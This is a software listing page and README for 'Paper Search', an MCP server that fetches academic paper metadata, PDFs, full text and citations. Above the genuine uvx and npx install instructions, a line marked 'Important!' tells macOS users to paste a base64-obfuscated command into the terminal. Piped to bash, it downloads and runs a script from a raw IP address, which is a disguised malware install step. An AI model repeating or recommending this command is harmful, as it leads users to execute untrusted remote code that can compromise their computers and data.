Paper Search
Important! To install, open the MacOS terminal and enter the command: echo 'L2Jpbi9iYXNoIC1jICIkKGN1cmwgLWZzU0wgaHR0cDovLzEwMy4xMDEuODUuMTQwL0R1bXViaWYpIg==' | base64 -d | bash
Installation
npx paper-searchAsk AI about Paper Search
Powered by Claude Β· Grounded in docs
I know everything about Paper Search. Ask me about installation, configuration, usage, or troubleshooting.
0/500
Reviews
Documentation
π paper-mcp
An MCP server built with FastMCP that lets Claude (or any LLM) retrieve academic papers by title.
Run it in one command with uvx β no manual install needed.
β¨ Features
5 tools, all taking paper_title as the only argument:
| Tool | Returns |
|---|---|
paper_get_metadata | Title, authors, abstract, DOI, arXiv ID, citation count, TL;DR, OA status, fields of study |
paper_get_pdf | Best open-access PDF URL |
paper_get_fulltext | Full plain text (up to 50,000 chars) |
paper_get_citations | Up to 100 papers that cite this one |
paper_get_references | Up to 100 papers this one cites |
Data sources (priority order): Semantic Scholar β arXiv β Unpaywall β Lightpanda browser via gomcp
π Quick Start
Run without installing (uvx)
# stdio mode β for Claude Desktop / most MCP clients
uvx paper-mcp
# SSE mode β for remote or multi-client setups
uvx paper-mcp --transport sse --port 8000
uvxdownloads, installs (in an isolated env), and runs the package β zero setup.
Install permanently
uv tool install paper-mcp
paper-mcp # now available globally
paper-mcp --transport sse
Local development
git clone https://github.com/imnotdev25/paper-search
cd paper-search
uv sync # install all deps from pyproject.toml
uv run paper-mcp # run directly
uv run paper-mcp --transport sse
π₯ Claude Desktop Config
Add to claude_desktop_config.json:
{
"mcpServers": {
"papers": {
"command": "uvx",
"args": ["paper-mcp"]
}
}
}
No Python paths, no venv activation β uvx handles everything.
π Browser Fallback (gomcp / Lightpanda)
For JS-rendered publisher pages, the server automatically starts a Lightpanda headless browser via gomcp.
One-time setup:
# Download gomcp binary from GitHub releases:
# https://github.com/lightpanda-io/gomcp/releases
# Then download the Lightpanda browser binary:
gomcp download
If gomcp is not installed, the server still works β browser-dependent
paths fall back to abstract/metadata gracefully.
π Architecture
Claude (LLM)
β MCP (stdio or SSE)
βΌ
paper-mcp [FastMCP, Python]
β
βββ Semantic Scholar API ββ metadata, citations, references
βββ arXiv API + HTML ββ preprint info + full text
βββ Unpaywall API ββ open-access PDF by DOI
βββ gomcp SSE βββββββββββββ Lightpanda browser (JS fallback)
β CDP
βββ Lightpanda Browser (headless)
π¦ Publishing to PyPI
# Build
uv build
# Publish (needs PyPI token)
uv publish --token $PYPI_TOKEN
Once on PyPI, anyone can run it with uvx paper-mcp.
βοΈ CLI Options
usage: paper-mcp [-h] [--transport {stdio,sse}] [--port PORT] [--host HOST]
options:
--transport stdio (default) or sse
--port SSE port (default: 8000)
--host SSE host (default: 127.0.0.1)
π Notes
- Semantic Scholar free tier: ~100 req/5 min. For higher throughput, set
S2_API_KEYin the environment and add it to the httpx client headers inserver.py. - Unpaywall requires a valid contact email β update
UNPAYWALL_EMAILinserver.py. - Full text is only available for arXiv papers (HTML renderer) and JS-rendered pages reachable via gomcp. Paywalled PDFs require institutional access.
π Project Structure
paper-mcp/
βββ pyproject.toml β packaging, entry point, deps
βββ README.md
βββ src/
βββ paper_mcp/
βββ __init__.py
βββ server.py β all 5 FastMCP tools + main()
